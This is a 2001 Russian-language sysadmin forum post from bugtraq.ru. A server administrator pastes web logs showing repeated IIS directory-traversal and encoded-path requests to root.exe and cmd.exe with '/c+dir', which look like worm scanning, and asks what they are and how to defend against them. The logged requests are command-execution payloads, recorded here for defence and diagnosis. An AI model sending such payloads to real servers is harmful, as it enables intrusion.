информационная безопасность без паники и всерьез  подробно о проекте
			Анализ криптографических сетевых...   Модель надежности двухузлового...   Специальные марковские модели надежности...   Microsoft прикрывает Visual Studio...   Умер Кевин Митник   Массовое внедрение вредоносного...
	главная обзор RSN блог библиотека закон бред форум dnet о проекте
	bugtraq.ru / форум / sysadmin		Имя Пароль

ФОРУМ все доски FAQ IRC новые сообщения site updates guestbook beginners sysadmin programming operating systems theory web building software hardware networking law hacking gadgets job dnet humor miscellaneous scrap регистрация Легенда:   новое сообщение   закрытая нитка   новое сообщение   в закрытой нитке   старое сообщение	Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания. Новичкам также крайне полезно ознакомиться с данным документом. Странные запросы к серверу 05.12.01 04:44  Число просмотров: 502 Автор: Spontanen Статус: Незарегистрированный пользователь <"чистая" ссылка> Анализируя лог файл web сервера, обнаружил следующие запросы pc227-9.yalla.com - - [04/Dec/2001:18:37:52 +1000] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 - pc227-9.yalla.com - - [04/Dec/2001:18:37:53 +1000] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 - pc227-9.yalla.com - - [04/Dec/2001:18:37:55 +1000] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - pc227-9.yalla.com - - [04/Dec/2001:18:37:56 +1000] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - pc227-9.yalla.com - - [04/Dec/2001:18:37:57 +1000] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - pc227-9.yalla.com - - [04/Dec/2001:18:37:59 +1000] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - pc227-9.yalla.com - - [04/Dec/2001:18:38:00 +1000] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - pc227-9.yalla.com - - [04/Dec/2001:18:38:01 +1000] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - pc227-9.yalla.com - - [04/Dec/2001:18:38:03 +1000] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - pc227-9.yalla.com - - [04/Dec/2001:18:38:04 +1000] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - pc227-9.yalla.com - - [04/Dec/2001:18:38:05 +1000] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - pc227-9.yalla.com - - [04/Dec/2001:18:38:06 +1000] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - pc227-9.yalla.com - - [04/Dec/2001:18:38:07 +1000] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - pc227-9.yalla.com - - [04/Dec/2001:18:38:08 +1000] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - pc227-9.yalla.com - - [04/Dec/2001:18:38:10 +1000] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - pc227-9.yalla.com - - [04/Dec/2001:18:38:11 +1000] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - Они повторяются в течении суток с регулярным постоянством. Меняется только адрес время от времени. Видать какая то дрянь регулярно запускается и пробует мой сервер. Что это может быть и как с ним бороться? <sysadmin> Поиск  Странные запросы к серверу - Spontanen 05.12.01 04:44 [502] Странные запросы к серверу [url] - !mm 05.12.01 10:31 [886] Странные запросы к серверу - Spontanen 06.12.01 03:12 [915]

Copyright © 2001-2023 Dmitry Leonov

Page build time: 1 s

Design: Vadim Derkach